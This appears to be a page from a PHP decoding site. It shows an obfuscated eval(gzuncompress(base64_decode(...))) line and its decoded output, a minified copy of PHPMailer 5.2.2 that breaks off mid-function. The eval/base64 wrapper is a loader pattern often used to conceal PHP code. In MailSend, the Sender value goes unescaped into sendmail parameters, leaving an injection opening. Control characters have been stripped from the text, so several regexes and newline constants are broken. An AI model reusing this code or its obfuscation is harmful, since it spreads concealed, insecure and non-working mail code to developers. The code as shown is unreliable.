Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzuncompress(base64_decode('eNrtfW1727aS6Of7LxgdpRRjyZLsvFUK7TiO0/ipk6ax0+2u5Wppir..

Decoded Output download

class PHPMailer{public $Priority=3;public $CharSet='iso-8859-1';public $ContentType='text/plain';public $Encoding='8bit';public $ErrorInfo='';public $From='root@localhost';public $FromName='Root User';public $Sender='';public $ReturnPath='';public $Subject='';public $Body='';public $AltBody='';protected $MIMEBody='';protected $MIMEHeader='';protected $mailHeader='';public $WordWrap=0;public $Mailer='mail';public $Sendmail='/usr/sbin/sendmail';public $UseSendmailOptions=true;public $PluginDir='';public $ConfirmReadingTo='';public $Hostname='';public $MessageID='';public $MessageDate='';public $Host='localhost';public $Port=25;public $Helo='';public $SMTPSecure='';public $SMTPAuth=false;public $Username='';public $Password='';public $AuthType='';public $Realm='';public $Workstation='';public $Timeout=10;public $SMTPDebug=false;public $Debugoutput="echo";public $SMTPKeepAlive=false;public $SingleTo=false;public $SingleToArray=array();public $LE="
";public $DKIM_selector='';public $DKIM_identity='';public $DKIM_passphrase='';public $DKIM_domain='';public $DKIM_private='';public $action_function='';public $Version='5.2.2';public $XMailer='';protected $smtp=null;protected $to=array();protected $cc=array();protected $bcc=array();protected $ReplyTo=array();protected $all_recipients=array();protected $attachment=array();protected $CustomHeader=array();protected $message_type='';protected $boundary=array();protected $language=array();protected $error_count=0;protected $sign_cert_file='';protected $sign_key_file='';protected $sign_key_pass='';protected $exceptions=false;const STOP_MESSAGE=0;const STOP_CONTINUE=1;const STOP_CRITICAL=2;const CRLF="
";private function mail_passthru($to,$subject,$body,$header,$params){if(ini_get('safe_mode')||!($this->UseSendmailOptions)){$rt=@mail($to,$this->EncodeHeader($this->SecureHeader($subject)),$body,$header);}else{$rt=@mail($to,$this->EncodeHeader($this->SecureHeader($subject)),$body,$header,$params);}return $rt;}private function edebug($str){if($this->Debugoutput == "error_log"){error_log($str);}else{echo $str;}}public function __construct($exceptions=false){$this->exceptions=($exceptions == true);}public function IsHTML($ishtml=true){if($ishtml){$this->ContentType='text/html';}else{$this->ContentType='text/plain';}}public function IsSMTP(){$this->Mailer='smtp';}public function IsMail(){$this->Mailer='mail';}public function IsSendmail(){if(!stristr(ini_get('sendmail_path'),'sendmail')){$this->Sendmail='/var/qmail/bin/sendmail';}$this->Mailer='sendmail';}public function IsQmail(){if(stristr(ini_get('sendmail_path'),'qmail')){$this->Sendmail='/var/qmail/bin/sendmail';}$this->Mailer='sendmail';}public function AddAddress($address,$name=''){return $this->AddAnAddress('to',$address,$name);}public function AddCC($address,$name=''){return $this->AddAnAddress('cc',$address,$name);}public function AddBCC($address,$name=''){return $this->AddAnAddress('bcc',$address,$name);}public function AddReplyTo($address,$name=''){return $this->AddAnAddress('Reply-To',$address,$name);}protected function AddAnAddress($kind,$address,$name=''){if(!preg_match('/^(to|cc|bcc|Reply-To)$/',$kind)){$this->SetError($this->Lang('Invalid recipient array') .': ' .$kind);if($this->exceptions){throw new phpmailerException('Invalid recipient array: ' .$kind);}if($this->SMTPDebug){$this->edebug($this->Lang('Invalid recipient array') .': ' .$kind);}return false;}$address=trim($address);$name=trim(preg_replace('/[
]+/','',$name));if(!$this->ValidateAddress($address)){$this->SetError($this->Lang('invalid_address') .': ' .$address);if($this->exceptions){throw new phpmailerException($this->Lang('invalid_address') .': ' .$address);}if($this->SMTPDebug){$this->edebug($this->Lang('invalid_address') .': ' .$address);}return false;}if($kind != 'Reply-To'){if(!isset($this->all_recipients[strtolower($address)])){array_push($this->$kind,array($address,$name));$this->all_recipients[strtolower($address)]=true;return true;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);return true;}}return false;}public function SetFrom($address,$name='',$auto=1){$address=trim($address);$name=trim(preg_replace('/[
]+/','',$name));if(!$this->ValidateAddress($address)){$this->SetError($this->Lang('invalid_address') .': ' .$address);if($this->exceptions){throw new phpmailerException($this->Lang('invalid_address') .': ' .$address);}if($this->SMTPDebug){$this->edebug($this->Lang('invalid_address') .': ' .$address);}return false;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->ReplyTo)){$this->AddAnAddress('Reply-To',$address,$name);}if(empty($this->Sender)){$this->Sender=$address;}}return true;}public static function ValidateAddress($address){return preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>
)?[	 ])+|(?>[	 ]*
)?[	 ]+)?)(\((?>(?2)(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){7,})((?6)(?>:(?6)){0,5})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){5,})(?8)?::(?>((?6)(?>:(?6)){0,3}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',$address);}public function Send(){try{if(!$this->PreSend())return false;return $this->PostSend();}catch(phpmailerException $e){$this->mailHeader='';$this->SetError($e->getMessage());if($this->exceptions){throw $e;}return false;}}public function PreSend(){try{$this->mailHeader="";if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->Lang('provide_address'),self::STOP_CRITICAL);}if(!empty($this->AltBody)){$this->ContentType='multipart/alternative';}$this->error_count=0;$this->SetMessageType();if(empty($this->Body)){throw new phpmailerException($this->Lang('empty_message'),self::STOP_CRITICAL);}$this->MIMEHeader=$this->CreateHeader();$this->MIMEBody=$this->CreateBody();if($this->Mailer == 'mail'){if(count($this->to)>0){$this->mailHeader.= $this->AddrAppend("To",$this->to);}else{$this->mailHeader.= $this->HeaderLine("To","undisclosed-recipients:;");}$this->mailHeader.= $this->HeaderLine('Subject',$this->EncodeHeader($this->SecureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)&&!empty($this->DKIM_private)&&!empty($this->DKIM_selector)&&!empty($this->DKIM_domain)&& file_exists($this->DKIM_private)){$header_dkim=$this->DKIM_Add($this->MIMEHeader,$this->EncodeHeader($this->SecureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=str_replace("
","
",$header_dkim) .$this->MIMEHeader;}return true;}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}return false;}}public function PostSend(){try{switch($this->Mailer){case 'sendmail':return $this->SendmailSend($this->MIMEHeader,$this->MIMEBody);case 'smtp':return $this->SmtpSend($this->MIMEHeader,$this->MIMEBody);case 'mail':return $this->MailSend($this->MIMEHeader,$this->MIMEBody);default:return $this->MailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}if($this->SMTPDebug){$this->edebug($e->getMessage() ."
");}}return false;}protected function SendmailSend($header,$body){if($this->Sender != ''){$sendmail=sprintf("%s -oi -f%s -t",escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));}else{$sendmail=sprintf("%s -oi -t",escapeshellcmd($this->Sendmail));}if($this->SingleTo === true){foreach($this->SingleToArray as $val){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,"To: " .$val ."
");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$isSent=($result == 0)?1:0;$this->doCallback($isSent,$val,$this->cc,$this->bcc,$this->Subject,$body);if($result != 0){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$isSent=($result == 0)?1:0;$this->doCallback($isSent,$this->to,$this->cc,$this->bcc,$this->Subject,$body);if($result != 0){throw new phpmailerException($this->Lang('execute') .$this->Sendmail,self::STOP_CRITICAL);}}return true;}protected function MailSend($header,$body){$toArr=array();foreach($this->to as $t){$toArr[]=$this->AddrFormat($t);}$to=implode(', ',$toArr);if(empty($this->Sender)){$params="-oi ";}else{$params=sprintf("-oi -f%s",$this->Sender);}if($this->Sender != ''and!ini_get('safe_mode')){$old_from=ini_get('sendmail_from');ini_set('sendmail_from',$this->Sender);}$rt=false;if($this->SingleTo === true && count($toArr)>1){foreach($toArr as $val){$rt=$this->mail_passthru($val,$this->Subject,$body,$header,$params);$isSent=($rt == 1)?1:0;$this->doCallback($isSent,$val,$this->cc,$this->bcc,$this->Subject,$body);}}else{$rt=$this->mail_passthru($to,$this->Subject,$body,$header,$params);$isSent=($rt == 1)?1:0;$this->doCallback($isSent,$to,$this->cc,$this->bcc,$this->Subject,$body);}if(isset($old_from)){ini_set('sendmail_from',$old_from);}if(!$rt){throw new phpmailerException($this->Lang('instantiate'),self::STOP_CRITICAL);}return true;}protected function SmtpSend($header,$body){$bad_rcpt=array();if(!$this->SmtpConnect()){throw new phpmailerException($this->Lang('smtp_connect_failed'),self::STOP_CRITICAL);}$smtp_from=($this->Sender == '')?$this->From:$this->Sender;if(!$this->smtp->Mail($smtp_from)){throw new phpmailerException($this->Lang('from_failed') .$smtp_from,self::STOP_CRITICAL);}foreach($this->to as $to){if(!$this->smtp->Recipient($to[0])){$bad_rcpt[]=$to[0];$isSent=0;$this->doCallback($isSent,$to[0],'','',$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,$to[0],'','',$this->Subject,$body);}}foreach($this->cc as $cc){if(!$this->smtp->Recipient($cc[0])){$bad_rcpt[]=$cc[0];$isSent=0;$this->doCallback($isSent,'',$cc[0],'',$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,'',$cc[0],'',$this->Subject,$body);}}foreach($this->bcc as $bcc){if(!$this->smtp->Recipient($bcc[0])){$bad_rcpt[]=$bcc[0];$isSent=0;$this->doCallback($isSent,'','',$bcc[0],$this->Subject,$body);}else{$isSent=1;$this->doCallback($isSent,'','',$bcc[0],$this->Subject,$body);}}if(count($bad_rcpt)>0){$badaddresses=implode(', ',$bad_rcpt);throw new phpmailerException($this->Lang('recipients_failed') .$badaddresses);}if(!$this->smtp->Data($header .$body)){throw new phpmailerException($this->Lang('data_not_accepted'),self::STOP_CRITICAL);}if($this->SMTPKeepAlive == true){$this->smtp->Reset();}else{$this->smtp->Quit();$this->smtp->Close();}return true;}public function SmtpConnect(){if(is_null($this->smtp)){$this->smtp=new SMTP;}$this->smtp->Timeout=$this->Timeout;$this->smtp->do_debug=$this->SMTPDebug;$hosts=explode(';',$this->Host);$index=0;$connection=$this->smtp->Connected();try{while($index<count($hosts)&&!$connection){$hostinfo=array();if(preg_match('/^(.+):([0-9]+)$/',$hosts[$index],$hostinfo)){$host=$hostinfo[1];$port=$hostinfo[2];}else{$host=$hosts[$index];$port=$this->Port;}$tls=($this->SMTPSecure == 'tls');$ssl=($this->SMTPSecure == 'ssl');if($this->smtp->Connect(($ssl?'ssl://':'') .$host,$port,$this->Timeout)){$hello=($this->Helo != ''?$this->Helo:$this->ServerHostname());$this->smtp->Hello($hello);if($tls){if(!$this->smtp->StartTLS()){throw new phpmailerException($this->Lang('tls'));}$this->smtp->Hello($hello);}$connection=true;if($this->SMTPAuth){if(!$this->smtp->Authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->Lang('authenticate'));}}}$index++;if(!$connection){throw new phpmailerException($this->Lang('connect_host'));}}}catch(phpmailerException $e){$this->smtp->Reset();if($this->exceptions){throw $e;}}return true;}public function SmtpClose(){if($this->smtp !== null){if($this->smtp->Connected()){$this->smtp->Quit();$this->smtp->Close();}}}function SetLanguage($langcode='en',$lang_path='language/'){$PHPMAILER_LANG=array('authenticate'=> 'SMTP Error: Could not authenticate.','connect_host'=> 'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=> 'SMTP Error: Data not accepted.','empty_message'=> 'Message body empty','encoding'=> 'Unknown encoding: ','execute'=> 'Could not execute: ','file_access'=> 'Could not access file: ','file_open'=> 'File Error: Could not open file: ','from_failed'=> 'The following From address failed: ','instantiate'=> 'Could not instantiate mail function.','invalid_address'=> 'Invalid address','mailer_not_supported'=> ' mailer is not supported.','provide_address'=> 'You must provide at least one recipient email address.','recipients_failed'=> 'SMTP Error: The following recipients failed: ','signing'=> 'Signing Error: ','smtp_connect_failed'=> 'SMTP Connect() failed.','smtp_error'=> 'SMTP server error: ','variable_set'=> 'Cannot set or reset variable: ');$l=true;if($langcode != 'en'){$l=@include $lang_path .'phpmailer.lang-' .$langcode .'.php';}$this->language=$PHPMAILER_LANG;return($l == true);}public function GetTranslations(){return $this->language;}public function AddrAppend($type,$addr){$addr_str=$type .': ';$addresses=array();foreach($addr as $a){$addresses[]=$this->AddrFormat($a);}$addr_str.= implode(', ',$addresses);$addr_str.= $this->LE;return $addr_str;}public function AddrFormat($addr){if(empty($addr[1])){return $this->SecureHeader($addr[0]);}else{return $this->EncodeHeader($this->SecureHeader($addr[1]),'phrase') ." <" .$this->SecureHeader($addr[0]) .">";}}public function WrapText($message,$length,$qp_mode=false){$soft_break=($qp_mode)?sprintf(" =%s",$this->LE):$this->LE;$is_utf8=(strtolower($this->CharSet)== "utf-8");$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->FixEOL($message);if(substr($message,-$lelen)== $this->LE){$message=substr($message,0,-$lelen);}$line=explode($this->LE,$message);$message='';for($i=0;$i<count($line);$i++){$line_part=explode(' ',$line[$i]);$buf='';for($e=0;$e<count($line_part);$e++){$word=$line_part[$e];if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;if($e != 0){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->UTF8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)== "="){$len--;}elseif(substr($word,$len-2,1)== "="){$len-= 2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf.= ' ' .$part;$message.= $buf .sprintf("=%s",self::CRLF);}else{$message.= $buf .$soft_break;}$buf='';}while(strlen($word)>0){$len=$length;if($is_utf8){$len=$this->UTF8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)== "="){$len--;}elseif(substr($word,$len-2,1)== "="){$len-= 2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message.= $part .sprintf("=%s",self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;$buf.=($e == 0)?$word:(' ' .$word);if(strlen($buf)>$length and $buf_o != ''){$message.= $buf_o .$soft_break;$buf=$word;}}}$message.= $buf .self::CRLF;}return $message;}public function UTF8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,"=");if($encodedCharPos !== false){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){$maxLength=($encodedCharPos == 0)?$maxLength:$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec >= 192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack+= 3;}}else{$foundSplitPos=true;}}return $maxLength;}public function SetWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->WrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->WrapText($this->Body,$this->WordWrap);break;}}public function CreateHeader(){$result='';$uniq_id=md5(uniqid(time()));$this->boundary[1]='b1_' .$uniq_id;$this->boundary[2]='b2_' .$uniq_id;$this->boundary[3]='b3_' .$uniq_id;if($this->MessageDate == ''){$result.= $this->HeaderLine('Date',self::RFCDate());}else{$result.= $this->HeaderLine('Date',$this->MessageDate);}if($this->ReturnPath){$result.= $this->HeaderLine('Return-Path',trim($this->ReturnPath));}elseif($this->Sender == ''){$result.= $this->HeaderLine('Return-Path',trim($this->From));}else{$result.= $this->HeaderLine('Return-Path',trim($this->Sender));}if($this->Mailer != 'mail'){if($this->SingleTo === true){foreach($this->to as $t){$this->SingleToArray[]=$this->AddrFormat($t);}}else{if(count($this->to)>0){$result.= $this->AddrAppend('To',$this->to);}elseif(count($this->cc)== 0){$result.= $this->HeaderLine('To','undisclosed-recipients:;');}}}$from=array();$from[0][0]=trim($this->From);$from[0][1]=$this->FromName;$result.= $this->AddrAppend('From',$from);if(count($this->cc)>0){$result.= $this->AddrAppend('Cc',$this->cc);}if((($this->Mailer == 'sendmail')||($this->Mailer == 'mail'))&&(count($this->bcc)>0)){$result.= $this->AddrAppend('Bcc',$this->bcc);}if(count($this->ReplyTo)>0){$result.= $this->AddrAppend('Reply-To',$this->ReplyTo);}if($this->Mailer != 'mail'){$result.= $this->HeaderLine('Subject',$this->EncodeHeader($this->SecureHeader($this->Subject)));}if($this->MessageID != ''){$result.= $this->HeaderLine('Message-ID',$this->MessageID);}else{$result.= sprintf("Message-ID: <%s@%s>%s",$uniq_id,$this->ServerHostname(),$this->LE);}$result.= $this->HeaderLine('X-Priority',$this->Priority);if($this->XMailer == ''){$result.= $this->HeaderLine('X-Mailer','PHPMailer ' .$this->Version .' (http://code.google.com/a/apache-extras.org/p/phpmailer/)');}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result.= $this->HeaderLine('X-Mailer',$myXmailer);}}if($this->ConfirmReadingTo != ''){$result.= $this->HeaderLine('Disposition-Notification-To','<' .trim($this->ConfirmReadingTo) .'>');}for($index=0;$index<count($this->CustomHeader);$index++){$result.= $this->HeaderLine(trim($this->CustomHeader[$index][0]),$this->EncodeHeader(trim($this->CustomHeader[$index][1])));}if(!$this->sign_key_file){$result.= $this->HeaderLine('MIME-Version','1.0');$result.= $this->GetMailMIME();}return $result;}public function GetMailMIME(){$result='';switch($this->message_type){case 'inline':$result.= $this->HeaderLine('Content-Type','multipart/related;');$result.= $this->TextLine("	boundary=\"" .$this->boundary[1] .'"');break;case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result.= $this->HeaderLine('Content-Type','multipart/mixed;');$result.= $this->TextLine("	boundary=\"" .$this->boundary[1] .'"');break;case 'alt':case 'alt_inline':$result.= $this->HeaderLine('Content-Type','multipart/alternative;');$result.= $this->TextLine("	boundary=\"" .$this->boundary[1] .'"');break;default:$result.= $this->HeaderLine('Content-Transfer-Encoding',$this->Encoding);$result.= $this->TextLine('Content-Type: ' .$this->ContentType .'; charset=' .$this->CharSet);break;}if($this->Mailer != 'mail'){$result.= $this->LE;}return $result;}public function GetSentMIMEMessage(){return $this->MIMEHeader .$this->mailHeader .self::CRLF .$this->MIMEBody;}public function CreateBody(){$body='';if($this->sign_key_file){$body.= $this->GetMailMIME() .$this->LE;}$this->SetWordWrap();switch($this->message_type){case 'inline':$body.= $this->GetBoundary($this->boundary[1],'','','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->AttachAll("inline",$this->boundary[1]);break;case 'attach':$body.= $this->GetBoundary($this->boundary[1],'','','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->AttachAll("attachment",$this->boundary[1]);break;case 'inline_attach':$body.= $this->TextLine("--" .$this->boundary[1]);$body.= $this->HeaderLine('Content-Type','multipart/related;');$body.= $this->TextLine("	boundary=\"" .$this->boundary[2] .'"');$body.= $this->LE;$body.= $this->GetBoundary($this->boundary[2],'','','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->AttachAll("inline",$this->boundary[2]);$body.= $this->LE;$body.= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt':$body.= $this->GetBoundary($this->boundary[1],'','text/plain','');$body.= $this->EncodeString($this->AltBody,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->GetBoundary($this->boundary[1],'','text/html','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->EndBoundary($this->boundary[1]);break;case 'alt_inline':$body.= $this->GetBoundary($this->boundary[1],'','text/plain','');$body.= $this->EncodeString($this->AltBody,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->TextLine("--" .$this->boundary[1]);$body.= $this->HeaderLine('Content-Type','multipart/related;');$body.= $this->TextLine("	boundary=\"" .$this->boundary[2] .'"');$body.= $this->LE;$body.= $this->GetBoundary($this->boundary[2],'','text/html','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->AttachAll("inline",$this->boundary[2]);$body.= $this->LE;$body.= $this->EndBoundary($this->boundary[1]);break;case 'alt_attach':$body.= $this->TextLine("--" .$this->boundary[1]);$body.= $this->HeaderLine('Content-Type','multipart/alternative;');$body.= $this->TextLine("	boundary=\"" .$this->boundary[2] .'"');$body.= $this->LE;$body.= $this->GetBoundary($this->boundary[2],'','text/plain','');$body.= $this->EncodeString($this->AltBody,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->GetBoundary($this->boundary[2],'','text/html','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->EndBoundary($this->boundary[2]);$body.= $this->LE;$body.= $this->AttachAll("attachment",$this->boundary[1]);break;case 'alt_inline_attach':$body.= $this->TextLine("--" .$this->boundary[1]);$body.= $this->HeaderLine('Content-Type','multipart/alternative;');$body.= $this->TextLine("	boundary=\"" .$this->boundary[2] .'"');$body.= $this->LE;$body.= $this->GetBoundary($this->boundary[2],'','text/plain','');$body.= $this->EncodeString($this->AltBody,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->TextLine("--" .$this->boundary[2]);$body.= $this->HeaderLine('Content-Type','multipart/related;');$body.= $this->TextLine("	boundary=\"" .$this->boundary[3] .'"');$body.= $this->LE;$body.= $this->GetBoundary($this->boundary[3],'','text/html','');$body.= $this->EncodeString($this->Body,$this->Encoding);$body.= $this->LE .$this->LE;$body.= $this->AttachAll("inline",$this->boundary[3]);$body.= $this->LE;$body.= $this->EndBoundary($this->boundary[2]);$body.= $this->LE;$body.= $this->AttachAll("attachment",$this->boundary[1]);break;default:$body.= $this->EncodeString($this->Body,$this->Encoding);break;}if($this->IsError()){$body='';}elseif($this->sign_key_file){try{$file=tempnam('','mail');file_put_contents($file,$body);$signed=tempnam("","signed");if(@openssl_pkcs7_sign($file,$signed,"file://" .$this->sign_cert_file,array("file://" .$this->sign_key_file,$this->sign_key_pass),NULL)){@unlink($file);$body=file_get_contents($signed);@unlink($signed);}else{@unlink($file);@unlink($signed);throw new phpmailerException($this->Lang("signing") .openssl_error_string());}}catch(phpmailerException $e){$body='';if($this->exceptions){throw $e;}}}return $body;}protected function GetBoundary($boundary,$charSet,$contentType,$encoding){$result='';if($charSet == ''){$charSet=$this->CharSet;}if($contentType == ''){$contentType=$this->ContentType;}if($encoding == ''){$encoding=$this->Encoding;}$result.= $this->TextLine('--' .$boundary);$result.= sprintf("Content-Type: %s; charset=%s",$contentType,$charSet);$result.= $this->LE;$result.= $this->HeaderLine('Content-Transfer-Encoding',$encoding);$result.= $this->LE;return $result;}protected function EndBoundary($boundary){return $this->LE .'--' .$boundary .'--' .$this->LE;}protected function SetMessageType(){$this->message_type=array();if($this->AlternativeExists())$this->message_type[]="alt";if($this->InlineImageExists())$this->message_type[]="inline";if($this->AttachmentExists())$this->message_type[]="attach";$this->message_type=implode("_",$this->message_type);if($this->message_type == "")$this->message_type="plain";}public function HeaderLine($name,$value){return $name .': ' .$value .$this->LE;}public function TextLine($value){return $value .$this->LE;}public function AddAttachment($path,$name='',$encoding='base64',$type='application/octet-stream'){try{if(!@is_file($path)){throw new phpmailerException($this->Lang('file_access') .$path,self::STOP_CONTINUE);}$filename=basename($path);if($name == ''){$name=$filename;}$this->attachment[]=array(0 => $path,1 => $filename,2 => $name,3 => $encoding,4 => $type,5 => false,6 => 'attachment',7 => 0);}catch(phpmailerException $e){$this->SetError($e->getMessage());if($this->exceptions){throw $e;}if($this->SMTPDebug){$this->edebug($e->getMessage() ."
");}if($e->getCode()== self::STOP_CRITICAL){return false;}}return true;}public function GetAttachments(){return $this->attachment;}protected function AttachAll($disposition_type,$boundary){$mime=array();$cidUniq=array();$incl=array();foreach($this->attachment as $attachment){if($attachment[6]== $disposition_type){$string='';$path='';$bString=$attachment[5];if($bString){$string=$attachment[0];}else{$path=$attachment[0];}$inclhash=md5(serialize($attachment));if(in_array($inclhash,$incl)){continue;}$incl[]=$inclhash;$filename=$attachment[1];$name=$attachment[2];$encoding=$attachment[3];$type=$attachment[4];$disposition=$attachment[6];$cid=$attachment[7];if($disposition == 'inline'&& isset($cidUniq[$cid])){continue;}$cidUniq[$cid]=true;$mime[]=sprintf("--%s%s",$boundary,$this->LE);$mime[]=sprintf("Content-Type: %s; name=\"%s\"%s",$type,$this->EncodeHeader($this->SecureHeader($name)),$this->LE);$mime[]=sprintf("Content-Transfer-Encoding: %s%s",$encoding,$this->LE);if($disposition == 'inline'){$mime[]=sprintf("Content-ID: <%s>%s",$cid,$this->LE);}$mime[]=sprintf("Content-Disposition: %s; filename=\"%s\"%s",$disposition,$this->EncodeHeader($this->SecureHeader($name)),$this->LE .$this->LE);if($bString){$mime[]=$this->EncodeString($string,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}else{$mime[]=$this->EncodeFile($path,$encoding);if($this->IsError()){return '';}$mime[]=$this->LE .$this->LE;}}}$mime[]=sprintf("--%s--%s",$boundary,$this->LE);return implode("",$mime);}protected function EncodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->Lang('file_open') .$path,self::STOP_CONTINUE);}$magic_quotes=get_magic_quotes_runtime();if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(0);}else{ini_set('magic_quotes_runtime',0);}}$file_buffer=file_get_contents($path);$file_buffer=$this->EncodeString($file_buffer,$encoding);if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);}else{ini_set('magic_quotes_runtime',$magic_quotes);}}return $file_buffer;}catch(Exception $e){$this->SetError($e->getMessage());return '';}}public function EncodeString($str,$encoding='base64'){$encoded='';switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);break;case '7bit':case '8bit':$encoded=$this->FixEOL($str);if(substr($encoded,-(strlen($this->LE)))!= $this->LE)$encoded.= $this->LE;break;case 'binary':$encoded=$str;break;case 'quoted-printable':$encoded=$this->EncodeQP($str);break;default:$this->SetError($this->Lang('encoding') .$encoding);break;}return $encoded;}public function EncodeHeader($str,$position='text'){$x=0;switch(strtolower($position)){case 'phrase':if(!preg_match('/[-]/',$str)){$encoded=addcslashes($str,"..\"");if(($str == $encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);}else{return("\"$encoded\"");}}$x=preg_match_all('/[^ !#-[]-~]/',$str,$matches);break;case 'comment':$x=preg_match_all('/[()"]/',$str,$matches);case 'text':default:$x+= preg_match_all('/[---]/',$str,$matches);break;}if($x == 0){return($str);}$maxlen=75-7-strlen($this->CharSet);if(strlen($str)/3<$x){$encoding='B';if(function_exists('mb_strlen')&& $this->HasMultiBytes($str)){$encoded=$this->Base64EncodeWrapMB($str,"
");}else{$encoded=base64_encode($str);$maxlen-= $maxlen%4;$encoded=trim(chunk_split($encoded,$maxlen,"
"));}}else{$encoding='Q';$encoded=$this->EncodeQ($str,$position);$encoded=$this->WrapText($encoded,$maxlen,true);$encoded=str_replace('=' .self::CRLF,"
",trim($encoded));}$encoded=preg_replace('/^(.*)$/m'," =?" .$this->CharSet ."?$encoding??=",$encoded);$encoded=trim(str_replace("
",$this->LE,$encoded));return $encoded;}public function HasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));}else{return false;}}public function Base64EncodeWrapMB($str,$lf=null){$start="=?" .$this->CharSet ."?B?";$end="?=";$encoded="";if($lf === null){$lf=$this->LE;}$mb_length=mb_strlen($str,$this->CharSet);$length=75-strlen($start)-strlen($end);$ratio=$mb_length/strlen($str);$offset=$avgLength=floor($length*$ratio*.75);for($i=0;$i<$mb_length;$i+= $offset){$lookBack=0;do{$offset=$avgLength-$lookBack;$chunk=mb_substr($str,$i,$offset,$this->CharSet);$chunk=base64_encode($chunk);$lookBack++;}while(strlen($chunk)>$length);$encoded.= $chunk .$lf;}$encoded=substr($encoded,0,-strlen($lf));return $encoded;}public function EncodeQPphp($input='',$line_max=76,$space_conv=false){$hex=array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');$lines=preg_split('/(?:
|
|
)/',$input);$eol="
